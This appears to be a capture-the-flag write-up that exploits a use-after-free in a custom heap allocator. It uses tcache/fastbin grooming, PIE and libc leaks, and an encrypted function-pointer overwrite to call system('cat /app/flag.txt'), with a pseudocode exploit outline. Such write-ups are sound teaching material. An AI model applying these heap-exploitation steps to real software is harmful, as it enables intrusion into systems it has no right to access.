Midnight Relay - PWN
Points: 499 | Flag: BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t} | Solved by: Smothy @ 0xN1umb

what we got
Binary + libc + ld from Ubuntu 24.04. The binary is a custom slot-based heap allocator running in a pwn.red/jail with execve/execveat allowed. Pretty heavy protections:
Full RELRO | NX | PIE | SHSTK | IBT
glibc 2.39. No hooks to overwrite. This is gonna be fun.
the binary
Reversed in IDA Pro. It implements a custom protocol over stdin/stdout:
- 4-byte header:
[cmd(u8), mac(u8), length(u16_le)] - Payload follows (MAC verified with a rolling hash seeded from
epoch) epochstarts at0x6b1d5a93, updated after each successful command:epoch ^= (cmd << 9) | 0x5F
6 commands:
| Cmd | Op | Description |
|---|---|---|
| 0x11 | Alloc | calloc(1, size+32), size 128-1312. Writes canary struct at buffer+size |
| 0x22 | Write | memcpy to buffer at offset |
| 0x33 | Read | write() from buffer to stdout |
| 0x44 | Delete | free(buffer) but doesn't null the pointer (UAF!) |
| 0x55 | Unlock | Authenticate a slot with a key derived from canary/random/epoch |
| 0x66 | Fire | Call encrypted function pointer if authenticated |
the vuln
Classic UAF. Delete (0x44) frees the buffer but leaves the slot pointer intact. Read (0x33) happily reads from the freed chunk.
canary structure
Each allocation has a 32-byte "canary struct" appended at buffer+size:
[0:8] canary = cookie ^ (struct_addr >> 12) ^ 0x48454C494F5300FF
[8:16] encrypted_func = random ^ canary ^ idle_addr ^ (struct_addr >> 13)
[16:24] buffer_ptr (self-reference)
[24:32] random = rand() | (rand() << 32)
The fire command decrypts the function pointer: func = random ^ encrypted_func ^ canary ^ (struct_addr >> 13). Normally calls idle() (a noop).
the solve
step 1: heap feng shui
The main loop callocs a buffer for each command's payload and frees it after. Since calloc skips tcache but checks fastbin, I needed to fill tcache[0x20] so subsequent frees go to fastbin instead. Sent 8 no-op commands (cmd=0x00, empty payload) to fill tcache[0x20] (7 entries) + fastbin[0x20] (1 entry).
This way, every subsequent command's calloc grabs from fastbin, processes, and frees back to fastbin. The unsorted bin stays untouched.
step 2: PIE leak
Allocate slot 0 (size=0x500) and read the canary struct at offset 0x500:
idle_addr = encrypted_func ^ random ^ canary ^ (struct_addr >> 13)
pie_base = idle_addr - 0x17b0step 3: libc leak (UAF)
Free slot 0 (goes to unsorted bin since size > tcache range). Then read slot 0 at offset 0 - the freed chunk's fd/bk point into main_arena:
libc_base = fd - 0x203b20 # unsorted bin offset for glibc 2.39step 4: hijack function pointer
Allocate slot 2 with "cat /app/flag.txt\0" as initial data. Read its canary struct. Then overwrite only the encrypted_func field:
new_encrypted_func = old_encrypted_func ^ idle_addr ^ system_addrWhen fire decodes: random ^ new_ef ^ canary ^ (struct>>13) = system_addr
step 5: unlock + fire
Compute the unlock key: lower32(random) ^ lower32(canary) ^ epoch
Fire calls system("cat /app/flag.txt") and we get the flag.
# full exploit flow
for i in range(8): send_noop() # tcache+fastbin fill
alloc(slot=0, size=0x500) # target for libc leak
alloc(slot=1, size=0x80) # guard chunk
read(slot=0, offset=0x500, len=32) # PIE leak from canary struct
delete(slot=0) # free to unsorted bin
read(slot=0, offset=0, len=16) # UAF libc leak
alloc(slot=2, size=0x80, init="cat /app/flag.txt\0")
read(slot=2, offset=0x80, len=32) # read canary struct
write(slot=2, offset=0x88, data=new_ef) # overwrite encrypted_func
unlock(slot=2, key=computed_key) # authenticate
fire(slot=2) # system("cat /app/flag.txt")flag
BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t}
ngl the heap feng shui with tcache/fastbin to preserve the unsorted bin chunk was the trickiest part. had to understand exactly how calloc differs from malloc internally (skips tcache, but checks fastbin first). once the leak primitives worked, the function pointer hijack was clean af
smothy out ✌️